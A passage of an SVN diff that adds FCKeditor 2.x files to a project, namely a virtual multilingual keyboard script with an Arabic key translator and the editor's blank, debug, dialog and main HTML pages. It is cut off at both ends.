+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: multihexa.js
+ * 	Scripts for the fck_universalkey.html page.
+ * 	Definition des 104 caracteres en hexa unicode.
+ * 
+ * File Authors:
+ * 		Michel Staelens (michel.staelens@wanadoo.fr)
+ * 		Bernadette Cierzniak
+ * 		Abdul-Aziz Al-Oraij (top7up@hotmail.com)
+ */
+
+var caps=0, lock=0, hexchars="0123456789ABCDEF", accent="0000", keydeb=0
+var key=new Array();j=0;for (i in Maj){key[j]=i;j++}
+var ns6=((!document.all)&&(document.getElementById))
+var ie=document.all
+
+var langue=getCk();
+if (langue==""){
+	langue=key[keydeb]
+}
+CarMaj=Maj[langue].split("|");CarMin=Min[langue].split("|")
+
+/*unikey*/
+var posUniKeyLeft=0, posUniKeyTop=0
+if (ns6){posUniKeyLeft=0;posUniKeyTop=60}
+else if (ie){posUniKeyLeft=0;posUniKeyTop=60}
+tracer("fond",posUniKeyLeft,posUniKeyTop,'<img src="fck_universalkey/keyboard_layout.gif" width=404 height=152 border="0"><br />',"sign")
+/*touches*/
+var posX=new Array(0,28,56,84,112,140,168,196,224,252,280,308,336,42,70,98,126,154,182,210,238,266,294,322,350,50,78,106,134,162,190,218,246,274,302,330,64,92,120,148,176,204,232,260,288,316,28,56,84,294,322,350)
+var posY=new Array(14,14,14,14,14,14,14,14,14,14,14,14,14,42,42,42,42,42,42,42,42,42,42,42,42,70,70,70,70,70,70,70,70,70,70,70,98,98,98,98,98,98,98,98,98,98,126,126,126,126,126,126)
+var nbTouches=52
+for (i=0;i<nbTouches;i++){
+	CarMaj[i]=((CarMaj[i]!="0000")?(fromhexby4tocar(CarMaj[i])):"")
+	CarMin[i]=((CarMin[i]!="0000")?(fromhexby4tocar(CarMin[i])):"")
+	if (CarMaj[i]==CarMin[i].toUpperCase()){
+		cecar=((lock==0)&&(caps==0)?CarMin[i]:CarMaj[i])
+		tracer("car"+i,posUniKeyLeft+6+posX[i],posUniKeyTop+3+posY[i],cecar,((dia[hexa(cecar)]!=null)?"simpledia":"simple"))
+		tracer("majus"+i,posUniKeyLeft+15+posX[i],posUniKeyTop+1+posY[i],"&nbsp;","double")
+		tracer("minus"+i,posUniKeyLeft+3+posX[i],posUniKeyTop+9+posY[i],"&nbsp;","double")
+	}
+	else{
+		tracer("car"+i,posUniKeyLeft+6+posX[i],posUniKeyTop+3+posY[i],"&nbsp;","simple")
+		cecar=CarMin[i]
+		tracer("minus"+i,posUniKeyLeft+3+posX[i],posUniKeyTop+9+posY[i],cecar,((dia[hexa(cecar)]!=null)?"doubledia":"double"))
+		cecar=CarMaj[i]
+		tracer("majus"+i,posUniKeyLeft+15+posX[i],posUniKeyTop+1+posY[i],cecar,((dia[hexa(cecar)]!=null)?"doubledia":"double"))
+	}
+}
+/*touches de fonctions*/
+var actC1=new Array(0,371,364,0,378,0,358,0,344,0,112,378)
+var actC2=new Array(0,0,14,42,42,70,70,98,98,126,126,126)
+var actC3=new Array(32,403,403,39,403,47,403,61,403,25,291,403)
+var actC4=new Array(11,11,39,67,67,95,95,123,123,151,151,151)
+var act  =new Array(" « KB"," KB » ","Delete","Clear","Back","Caps<br> Lock","Enter","Shift","Shift","<|<","Space",">|>")
+var effet=new Array("keyscroll(-3)","keyscroll(3)","faire(\"del\")","RAZ()","faire(\"bck\")","bloq()","faire(\"\\n\")","haut()","haut()","faire(\"ar\")","faire(\" \")","faire(\"av\")")
+var nbActions=12
+for (i=0;i<nbActions;i++){
+	tracer("act"+i,posUniKeyLeft+1+actC1[i],posUniKeyTop-1+actC2[i],act[i],"action")
+}
+/*navigation*/
+var keyC1=new Array(35,119,203,287)
+var keyC2=new Array(0,0,0,0)
+var keyC3=new Array(116,200,284,368)
+var keyC4=new Array(11,11,11,11)
+for (i=0;i<4;i++){
+	tracer("key"+i,posUniKeyLeft+5+keyC1[i],posUniKeyTop-1+keyC2[i],key[i],"unikey")
+}
+/*zones reactives*/
+tracer("masque",posUniKeyLeft,posUniKeyTop,'<img src="fck_universalkey/00.gif" width=404 height=152 border="0" usemap="#unikey">')
+document.write('<map name="unikey">')
+for (i=0;i<nbTouches;i++){
+	document.write('<area coords="'+posX[i]+','+posY[i]+','+(posX[i]+25)+','+(posY[i]+25)+'" href=# onClick=\'javascript:ecrire('+i+')\'>')
+}
+for (i=0;i<nbActions;i++){
+	document.write('<area coords="'+actC1[i]+','+actC2[i]+','+actC3[i]+','+actC4[i]+'" href=# onClick=\'javascript:'+effet[i]+'\'>')
+}
+for (i=0;i<4;i++){
+	document.write('<area coords="'+keyC1[i]+','+keyC2[i]+','+keyC3[i]+','+keyC4[i]+'" onclick=\'javascript:charger('+i+')\'>')
+}
+document.write('</map>')
+
+/*fonctions*/
+function ecrire(i){
+	txt=rechercher()+"|";subtxt=txt.split("|")
+	ceci=(lock==1)?CarMaj[i]:((caps==1)?CarMaj[i]:CarMin[i])
+	if (test(ceci)){subtxt[0]+=cardia(ceci);distinguer(false)}
+	else if(dia[accent]!=null&&dia[hexa(ceci)]!=null){distinguer(false);accent=hexa(ceci);distinguer(true)}
+	else if(dia[accent]!=null){subtxt[0]+=fromhexby4tocar(accent)+ceci;distinguer(false)}
+	else if(dia[hexa(ceci)]!=null){accent=hexa(ceci);distinguer(true)}
+	else {subtxt[0]+=ceci}
+	txt=subtxt[0]+"|"+subtxt[1]
+	afficher(txt)
+	if (caps==1){caps=0;MinusMajus()}
+}
+function faire(ceci){
+	txt=rechercher()+"|";subtxt=txt.split("|")
+	l0=subtxt[0].length
+	l1=subtxt[1].length
+	c1=subtxt[0].substring(0,(l0-2))
+	c2=subtxt[0].substring(0,(l0-1))
+	c3=subtxt[1].substring(0,1)
+	c4=subtxt[1].substring(0,2)
+	c5=subtxt[0].substring((l0-2),l0)
+	c6=subtxt[0].substring((l0-1),l0)
+	c7=subtxt[1].substring(1,l1)
+	c8=subtxt[1].substring(2,l1)
+	if(dia[accent]!=null){if(ceci==" "){ceci=fromhexby4tocar(accent)}distinguer(false)}
+	switch (ceci){
+	case("av") :if(escape(c4)!="%0D%0A"){txt=subtxt[0]+c3+"|"+c7}else{txt=subtxt[0]+c4+"|"+c8}break
+	case("ar") :if(escape(c5)!="%0D%0A"){txt=c2+"|"+c6+subtxt[1]}else{txt=c1+"|"+c5+subtxt[1]}break
+	case("bck"):if(escape(c5)!="%0D%0A"){txt=c2+"|"+subtxt[1]}else{txt=c1+"|"+subtxt[1]}break
+	case("del"):if(escape(c4)!="%0D%0A"){txt=subtxt[0]+"|"+c7}else{txt=subtxt[0]+"|"+c8}break
+	default:txt=subtxt[0]+ceci+"|"+subtxt[1];break
+	}
+	afficher(txt)
+}
+function RAZ(){txt="";if(dia[accent]!=null){distinguer(false)}afficher(txt)}
+function haut(){caps=1;MinusMajus()}
+function bloq(){lock=(lock==1)?0:1;MinusMajus()}
+
+/*fonctions de traitement du unikey*/
+function tracer(nom,gauche,haut,ceci,classe){ceci="<span class="+classe+">"+ceci+"</span>";document.write('<div id="'+nom+'" >'+ceci+'</div>');if (ns6){document.getElementById(nom).style.left=gauche+"px";document.getElementById(nom).style.top=haut+"px";}else if (ie){document.all(nom).style.left=gauche;document.all(nom).style.top=haut}}
+function retracer(nom,ceci,classe){ceci="<span class="+classe+">"+ceci+"</span>";if (ns6){document.getElementById(nom).innerHTML=ceci}else if (ie){doc=document.all(nom);doc.innerHTML=ceci}}
+function keyscroll(n){
+	keydeb+=n
+	if (keydeb<0){
+		keydeb=0
+	}
+	if (keydeb>key.length-4){
+		keydeb=key.length-4
+	}
+	for (i=keydeb;i<keydeb+4;i++){
+		retracer("key"+(i-keydeb),key[i],"unikey")
+	}
+	if (keydeb==0){
+		retracer("act0","&nbsp;","action")
+	}else {
+		retracer("act0",act[0],"action")
+	}
+	if (keydeb==key.length-4){
+		retracer("act1","&nbsp;","action")
+	}else {
+		retracer("act1",act[1],"action")
+	}
+}
+function charger(i){
+	langue=key[i+keydeb];setCk(langue);accent="0000"
+	CarMaj=Maj[langue].split("|");CarMin=Min[langue].split("|")
+	for (i=0;i<nbTouches;i++){
+		CarMaj[i]=((CarMaj[i]!="0000")?(fromhexby4tocar(CarMaj[i])):"")
+		CarMin[i]=((CarMin[i]!="0000")?(fromhexby4tocar(CarMin[i])):"")
+		if (CarMaj[i]==CarMin[i].toUpperCase()){
+			cecar=((lock==0)&&(caps==0)?CarMin[i]:CarMaj[i])
+			retracer("car"+i,cecar,((dia[hexa(cecar)]!=null)?"simpledia":"simple"))
+			retracer("minus"+i,"&nbsp;")
+			retracer("majus"+i,"&nbsp;")
+		}
+		else{
+			retracer("car"+i,"&nbsp;")
+			cecar=CarMin[i]
+			retracer("minus"+i,cecar,((dia[hexa(cecar)]!=null)?"doubledia":"double"))
+			cecar=CarMaj[i]
+			retracer("majus"+i,cecar,((dia[hexa(cecar)]!=null)?"doubledia":"double"))
+		}
+	}
+}
+function distinguer(oui){
+	for (i=0;i<nbTouches;i++){
+		if (CarMaj[i]==CarMin[i].toUpperCase()){
+			cecar=((lock==0)&&(caps==0)?CarMin[i]:CarMaj[i])
+			if(test(cecar)){retracer("car"+i,oui?(cardia(cecar)):cecar,oui?"simpledia":"simple")}
+		}
+		else{
+			cecar=CarMin[i]
+			if(test(cecar)){retracer("minus"+i,oui?(cardia(cecar)):cecar,oui?"doubledia":"double")}
+			cecar=CarMaj[i]
+			if(test(cecar)){retracer("majus"+i,oui?(cardia(cecar)):cecar,oui?"doubledia":"double")}
+		}
+	}
+	if (!oui){accent="0000"}
+}
+function MinusMajus(){
+	for (i=0;i<nbTouches;i++){
+		if (CarMaj[i]==CarMin[i].toUpperCase()){
+			cecar=((lock==0)&&(caps==0)?CarMin[i]:CarMaj[i])
+			retracer("car"+i,(test(cecar)?cardia(cecar):cecar),((dia[hexa(cecar)]!=null||test(cecar))?"simpledia":"simple"))
+		}
+	}
+}
+function test(cecar){return(dia[accent]!=null&&dia[accent][hexa(cecar)]!=null)}
+function cardia(cecar){return(fromhexby4tocar(dia[accent][hexa(cecar)]))}
+function fromhex(inval){out=0;for (a=inval.length-1;a>=0;a--){out+=Math.pow(16,inval.length-a-1)*hexchars.indexOf(inval.charAt(a))}return out}
+function fromhexby4tocar(ceci){out4=new String();for (l=0;l<ceci.length;l+=4){out4+=String.fromCharCode(fromhex(ceci.substring(l,l+4)))}return out4}
+function tohex(inval){return hexchars.charAt(inval/16)+hexchars.charAt(inval%16)}
+function tohex2(inval){return tohex(inval/256)+tohex(inval%256)}
+function hexa(ceci){out="";for (k=0;k<ceci.length;k++){out+=(tohex2(ceci.charCodeAt(k)))}return out}
+function getCk(){
+	fromN=document.cookie.indexOf("langue=")+0;
+	if((fromN)!=-1){
+		fromN+=7;
+		toN=document.cookie.indexOf(";",fromN)+0;
+		if(toN==-1){
+			toN=document.cookie.length
+		}
+		return unescape(document.cookie.substring(fromN,toN))
+	}
+	return ""
+}
+function setCk(inval){
+	if(inval!=null){
+		exp=new Date();
+		time=365*60*60*24*1000;
+		exp.setTime(exp.getTime()+time);
+		document.cookie=escape("langue")+"="+escape(inval)+"; "+"expires="+exp.toGMTString()
+	}
+}
+
+// Arabic Keystroke Translator
+function arkey(e) {
+	if ((document.layers)|(navigator.userAgent.indexOf("MSIE 4")>-1)|(langue!="Arabic")) return true;
+
+	if (!e) var e = window.event;
+	if (e.keyCode) keyCode = e.keyCode;
+	else if (e.which) keyCode = e.which;
+	var character = String.fromCharCode(keyCode);
+
+		entry = true;
+		cont=e.srcElement || e.currentTarget || e.target;
+		if (keyCode>64 && keyCode<91) {
+			entry=false;
+			source='ش لاؤ ي ث ب ل ا ه ت ن م ة ى خ ح ض ق س ف ع ر ص ء غ ئ ';
+			shsource='ِ لآ} ] ُ [ لأأ ÷ ـ ، /   آ × ؛ َ ٌ ٍ لإ  { ً ْ إ ~'; 
+
+			if (e.shiftKey) cont.value += shsource.substr((keyCode-64)*2-2,2);
+			else
+				cont.value += source.substr((keyCode-64)*2-2,2);
+			if (cont.value.substr(cont.value.length-1,1)==' ') cont.value=cont.value.substr(0,cont.value.length-1);
+		}
+		if (e.shiftKey) {
+			if (keyCode==186) {cont.value += ':';entry=false;}
+			if (keyCode==188) {cont.value += ',';entry=false;}
+			if (keyCode==190) {cont.value += '.';entry=false;}
+			if (keyCode==191) {cont.value += '؟';entry=false;}
+			if (keyCode==192) {cont.value += 'ّ';entry=false;}
+			if (keyCode==219) {cont.value += '<';entry=false;}
+			if (keyCode==221) {cont.value += '>';entry=false;}
+		} else {
+			if (keyCode==186||keyCode==59) {cont.value += 'ك';entry=false;}
+			if (keyCode==188) {cont.value += 'و';entry=false;}
+			if (keyCode==190) {cont.value += 'ز';entry=false;}
+			if (keyCode==191) {cont.value += 'ظ';entry=false;}
+			if (keyCode==192) {cont.value += 'ذ';entry=false;}
+			if (keyCode==219) {cont.value += 'ج';entry=false;}
+			if (keyCode==221) {cont.value += 'د';entry=false;}
+			if (keyCode==222) {cont.value += 'ط';entry=false;}
+		}
+	return entry;
+}
+function hold_it(e){
+	if ((document.layers)|(navigator.userAgent.indexOf("MSIE 4")>-1)|(langue!="Arabic")) return true;
+
+	var keyCode;
+	if (!e) var e = window.event;
+	if (e.keyCode) keyCode = e.keyCode;
+	else if (e.which) keyCode = e.which;
+	var character = String.fromCharCode(keyCode);
+	switch(keyCode){
+		case 186:
+		case 188:
+		case 190:
+		case 191:
+		case 192:
+		case 219:
+		case 221:
+		case 222:
+		case 116:
+		case 59:
+		case 47:
+		case 46:
+		case 44:
+		case 39:
+			return false;
+		case 92:
+			return true;
+	}
+		if (keyCode<63) return true;
+		return false;
+	}
+
+var obj = document.getElementById( 'uni_area' );
+if ( obj && langue=="Arabic"){
+	with (navigator) {
+		if (appName=="Netscape")
+			obj.onkeypress = hold_it;
+	}
+	obj.onkeydown = arkey;
+}
+// Arabic Keystroke Translator End
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckblank.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckblank.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckblank.html	(revision 44)
@@ -0,0 +1,5 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+<head><title></title></head>
+<body></body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckdebug.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckdebug.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckdebug.html	(revision 44)
@@ -0,0 +1,111 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckdebug.html
+ * 	This is the Debug window.
+ * 	It automatically popups if the Debug = true in the configuration file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>FCKeditor Debug Window</title>
+	<meta name="robots" content="noindex, nofollow" />
+	<script type="text/javascript">
+
+var oWindow ;
+var oDiv ;
+
+if ( !window.FCKMessages )
+	window.FCKMessages = new Array() ;
+
+window.onload = function()
+{
+	oWindow = document.getElementById('xOutput').contentWindow ;
+	oWindow.document.open() ;
+	oWindow.document.write( '<div id="divMsg"><\/div>' ) ;
+	oWindow.document.close() ;
+	oDiv	= oWindow.document.getElementById('divMsg') ;
+}
+
+function Output( message, color )
+{
+	if ( color )
+		message = '<font color="' + color + '">' + message + '<\/font>' ;
+		
+	window.FCKMessages[ window.FCKMessages.length ] = message ;
+	StartTimer() ;
+}
+
+function StartTimer()
+{
+	window.setTimeout( 'CheckMessages()', 100 ) ;
+}
+
+function CheckMessages()
+{
+	if ( window.FCKMessages.length > 0 )
+	{
+		// Get the first item in the queue
+		var sMessage = window.FCKMessages[0] ;
+		
+		// Removes the first item from the queue
+		var oTempArray = new Array() ;
+		for ( i = 1 ; i < window.FCKMessages.length ; i++ )
+			oTempArray[ i - 1 ] = window.FCKMessages[ i ] ;
+		window.FCKMessages = oTempArray ;
+		
+		var d = new Date() ;
+		var sTime = 
+			( d.getHours() + 100 + '' ).substr( 1,2 ) + ':' + 
+			( d.getMinutes() + 100 + '' ).substr( 1,2 ) + ':' + 
+			( d.getSeconds() + 100 + '' ).substr( 1,2 ) + ':' + 
+			( d.getMilliseconds() + 1000 + '' ).substr( 1,3 ) ;
+
+		var oMsgDiv = oWindow.document.createElement( 'div' ) ;
+		oMsgDiv.innerHTML = sTime + ': <b>' + sMessage + '<\/b>' ;
+		oDiv.appendChild( oMsgDiv ) ;
+		oMsgDiv.scrollIntoView() ;
+	}
+}
+
+function Clear()
+{
+	oDiv.innerHTML = '' ;
+}
+	</script>
+</head>
+<body style="margin: 10px">
+	<table style="height: 100%" cellspacing="5" cellpadding="0" width="100%" border="0">
+		<tr>
+			<td>
+				<table cellspacing="0" cellpadding="0" width="100%" border="0">
+					<tr>
+						<td style="font-weight: bold; font-size: 1.2em;">
+							FCKeditor Debug Window</td>
+						<td align="right">
+							<input type="button" value="Clear" onclick="Clear();" /></td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+		<tr style="height: 100%">
+			<td style="border: #696969 1px solid">
+				<iframe id="xOutput" width="100%" height="100%" scrolling="auto" src="fckblank.html"
+					frameborder="0"></iframe>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckdialog.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckdialog.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckdialog.html	(revision 44)
@@ -0,0 +1,322 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckdialog.html
+ * 	This page is used by all dialog box as the container.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+	<head>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+		<meta name="robots" content="noindex, nofollow" />
+		<script type="text/javascript">
+
+// On some Gecko browsers (probably over slow connections) the
+// "dialogArguments" are not set so we must get it from the opener window.
+if ( !window.dialogArguments )
+	window.dialogArguments = window.opener.FCKLastDialogInfo ;
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.dialogArguments.Editor.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+// Sets the language direction.
+window.document.dir = window.dialogArguments.Editor.FCKLang.Dir ;
+
+var sTitle = window.dialogArguments.Title ;
+document.write( '<title>' + sTitle + '<\/title>' ) ;
+
+function LoadInnerDialog()
+{
+	// The following value is set, so the editor can check that the dialog has been correctly opened.
+	window.setTimeout( function() { window.returnValue = true ; }, 100 ) ;
+
+	if ( window.onresize )
+		window.onresize() ;
+
+	// First of all, translate the dialog box contents.
+	window.dialogArguments.Editor.FCKLanguageManager.TranslatePage( document ) ;
+
+	window.frames["frmMain"].document.location.href = window.dialogArguments.Page ;
+}
+
+function InnerDialogLoaded()
+{
+	var oInnerDoc = document.getElementById('frmMain').contentWindow.document ;
+
+	// Set the language direction.
+	oInnerDoc.dir = window.dialogArguments.Editor.FCKLang.Dir ;
+
+	// Sets the Skin CSS.
+	oInnerDoc.write( '<link href="' + window.dialogArguments.Editor.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+	SetOnKeyDown( oInnerDoc ) ;
+	DisableContextMenu( oInnerDoc ) ;
+
+	return window.dialogArguments.Editor ;
+}
+
+function SetOkButton( showIt )
+{
+	document.getElementById('btnOk').style.visibility = ( showIt ? '' : 'hidden' ) ;
+}
+
+var bAutoSize = false ;
+
+function SetAutoSize( autoSize )
+{
+	bAutoSize = autoSize ;
+	RefreshSize() ;
+}
+
+function RefreshSize()
+{
+	if ( bAutoSize )
+	{
+		var oInnerDoc = document.getElementById('frmMain').contentWindow.document ;
+
+		var iFrameHeight ;
+		if ( document.all )
+			iFrameHeight = oInnerDoc.body.offsetHeight ;
+		else
+			iFrameHeight = document.getElementById('frmMain').contentWindow.innerHeight ;
+
+		var iInnerHeight = oInnerDoc.body.scrollHeight ;
+
+		var iDiff = iInnerHeight - iFrameHeight ;
+
+		if ( iDiff > 0 )
+		{
+			if ( document.all )
+				window.dialogHeight = ( parseInt( window.dialogHeight ) + iDiff ) + 'px' ;
+			else
+				window.resizeBy( 0, iDiff ) ;
+		}
+	}
+}
+
+function Ok()
+{
+	if ( window.frames["frmMain"].Ok && window.frames["frmMain"].Ok() )
+		Cancel() ;
+}
+
+function Cancel( dontFireChange )
+{
+	if ( !dontFireChange )
+	{
+		// All dialog windows, by default, will fire the "OnSelectionChange"
+		// event, no matter the Ok or Cancel button has been pressed.
+		window.dialogArguments.Editor.FCK.Events.FireEvent( 'OnSelectionChange' ) ;
+	}
+	window.close() ;
+}
+
+// Object that holds all available tabs.
+var oTabs = new Object() ;
+
+function TabDiv_OnClick()
+{
+	SetSelectedTab( this.TabCode ) ;
+}
+
+function AddTab( tabCode, tabText, startHidden )
+{
+	if ( typeof( oTabs[ tabCode ] ) != 'undefined' )
+		return ;
+
+	var eTabsRow = document.getElementById( 'Tabs' ) ;
+
+	var oCell = eTabsRow.insertCell(  eTabsRow.cells.length - 1 ) ;
+	oCell.noWrap = true ;
+
+	var oDiv = document.createElement( 'DIV' ) ;
+	oDiv.className = 'PopupTab' ;
+	oDiv.innerHTML = tabText ;
+	oDiv.TabCode = tabCode ;
+	oDiv.onclick = TabDiv_OnClick ;
+
+	if ( startHidden )
+		oDiv.style.display = 'none' ;
+
+	eTabsRow = document.getElementById( 'TabsRow' ) ;
+
+	oCell.appendChild( oDiv ) ;
+
+	if ( eTabsRow.style.display == 'none' )
+	{
+		var eTitleArea = document.getElementById( 'TitleArea' ) ;
+		eTitleArea.className = 'PopupTitle' ;
+
+		oDiv.className = 'PopupTabSelected' ;
+		eTabsRow.style.display = '' ;
+
+		if ( ! window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+			window.onresize() ;
+	}
+
+	oTabs[ tabCode ] = oDiv ;
+	oTabs[ tabCode ].Index = oTabs.length - 1 ;
+}
+
+function SetSelectedTab( tabCode )
+{
+	for ( var sCode in oTabs )
+	{
+		if ( sCode == tabCode )
+			oTabs[sCode].className = 'PopupTabSelected' ;
+		else
+			oTabs[sCode].className = 'PopupTab' ;
+	}
+
+	if ( typeof( window.frames["frmMain"].OnDialogTabChange ) == 'function' )
+		window.frames["frmMain"].OnDialogTabChange( tabCode ) ;
+}
+
+function SetTabVisibility( tabCode, isVisible )
+{
+	var oTab = oTabs[ tabCode ] ;
+	oTab.style.display = isVisible ? '' : 'none' ;
+
+	if ( ! isVisible && oTab.className == 'PopupTabSelected' )
+	{
+		for ( var sCode in oTabs )
+		{
+			if ( oTabs[sCode].style.display != 'none' )
+			{
+				SetSelectedTab( sCode ) ;
+				break ;
+			}
+		}
+	}
+}
+
+function SetOnKeyDown( targetDocument )
+{
+	targetDocument.onkeydown = function ( e )
+	{
+		e = e || event || this.parentWindow.event ;
+		switch ( e.keyCode )
+		{
+			case 13 :		// ENTER
+				var oTarget = e.srcElement || e.target ;
+				if ( oTarget.tagName == 'TEXTAREA' ) return ;
+				Ok() ;
+				return false ;
+			case 27 :		// ESC
+				Cancel() ;
+				return false ;
+				break ;
+		}
+		return true ;
+	}
+}
+SetOnKeyDown( document ) ;
+
+function DisableContextMenu( targetDocument )
+{
+	if ( window.dialogArguments.Editor.FCKBrowserInfo.IsIE ) return ;
+
+	// Disable Right-Click
+	var oOnContextMenu = function( e )
+	{
+		var sTagName = e.target.tagName ;
+		if ( ! ( ( sTagName == "INPUT" && e.target.type == "text" ) || sTagName == "TEXTAREA" ) )
+			e.preventDefault() ;
+	}
+	targetDocument.addEventListener( 'contextmenu', oOnContextMenu, true ) ;
+}
+DisableContextMenu( document ) ;
+
+if ( ! window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+{
+	window.onresize = function()
+	{
+		var oFrame = document.getElementById("frmMain") ;
+
+		if ( ! oFrame )
+		return ;
+
+		oFrame.height = 0 ;
+
+		var oCell = document.getElementById("FrameCell") ;
+		var iHeight = oCell.offsetHeight ;
+
+		oFrame.height = iHeight - 2 ;
+	}
+}
+
+if ( window.dialogArguments.Editor.FCKBrowserInfo.IsIE )
+{
+	function Window_OnBeforeUnload()
+	{
+		for ( var t in oTabs )
+			oTabs[t] = null ;
+
+		window.dialogArguments.Editor = null ;
+	}
+	window.attachEvent( "onbeforeunload", Window_OnBeforeUnload ) ;
+}
+
+function Window_OnClose()
+{
+	window.dialogArguments.Editor.FCKFocusManager.Unlock() ;
+}
+
+if ( window.addEventListener )
+	window.addEventListener( 'unload', Window_OnClose, false ) ;
+
+		</script>
+	</head>
+	<body onload="LoadInnerDialog();" class="PopupBody">
+		<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+			<tr>
+				<td id="TitleArea" class="PopupTitle PopupTitleBorder">
+					<script type="text/javascript">
+document.write( sTitle ) ;
+					</script>
+				</td>
+			</tr>
+			<tr id="TabsRow" style="DISPLAY: none">
+				<td class="PopupTabArea">
+					<table border="0" cellpadding="0" cellspacing="0" width="100%">
+						<tr id="Tabs" onselectstart="return false;">
+							<td class="PopupTabEmptyArea">&nbsp;</td>
+							<td class="PopupTabEmptyArea" width="100%">&nbsp;</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+			<tr>
+				<td id="FrameCell" height="100%" valign="top">
+					<iframe id="frmMain" src="fckblank.html" name="frmMain" frameborder="0" height="100%" width="100%" scrolling="auto">
+					</iframe>
+				</td>
+			</tr>
+			<tr>
+				<td class="PopupButtons">
+					<table border="0" cellpadding="0" cellspacing="0">
+						<tr>
+							<td width="100%">&nbsp;</td>
+							<td nowrap="nowrap">
+								<input id="btnOk" style="VISIBILITY: hidden; width: 100px" type="button" value="Ok" class="Button"
+									onclick="Ok();" fckLang="DlgBtnOK" />&nbsp; <input type="button" value="Cancel" class="Button" onclick="Cancel();" fckLang="DlgBtnCancel" />
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckeditor.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckeditor.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/fckeditor.html	(revision 44)
@@ -0,0 +1,210 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckeditor.html
+ * 	Main page that holds the editor.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>FCKeditor</title>
+	<meta name="robots" content="noindex, nofollow" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta http-equiv="Cache-Control" content="public" />
+	<script type="text/javascript">
+
+// Instead of loading scripts and CSSs using inline tags, all scripts are
+// loaded by code. In this way we can guarantee the correct processing order,
+// otherwise external scripts and inline scripts could be executed in an
+// unwanted order (IE).
+
+function LoadScript( url )
+{
+	document.write( '<script type="text/javascript" src="' + url + '" onerror="alert(\'Error loading \' + this.src);"><\/script>' ) ;
+}
+
+function LoadCss( url )
+{
+	document.write( '<link href="' + url + '" type="text/css" rel="stylesheet" onerror="alert(\'Error loading \' + this.src);" />' ) ;
+}
+
+// Main editor scripts.
+var sSuffix = /msie/.test( navigator.userAgent.toLowerCase() ) ? 'ie' : 'gecko' ;
+
+LoadScript( 'js/fckeditorcode_' + sSuffix + '.js' ) ;
+
+// Base configuration file.
+LoadScript( '../fckconfig.js' ) ;
+
+	</script>
+	<script type="text/javascript">
+
+// Create the default cleanup object used by the editor.
+if ( FCKBrowserInfo.IsIE )
+{
+	FCK.IECleanup = new FCKIECleanup( window ) ;
+	FCK.IECleanup.AddItem( FCKTempBin, FCKTempBin.Reset ) ;
+	FCK.IECleanup.AddItem( FCK, FCK_Cleanup ) ;
+}
+
+// The config hidden field is processed immediately, because
+// CustomConfigurationsPath may be set in the page.
+FCKConfig.ProcessHiddenField() ;
+
+// Load the custom configurations file (if defined).
+if ( FCKConfig.CustomConfigurationsPath.length > 0 )
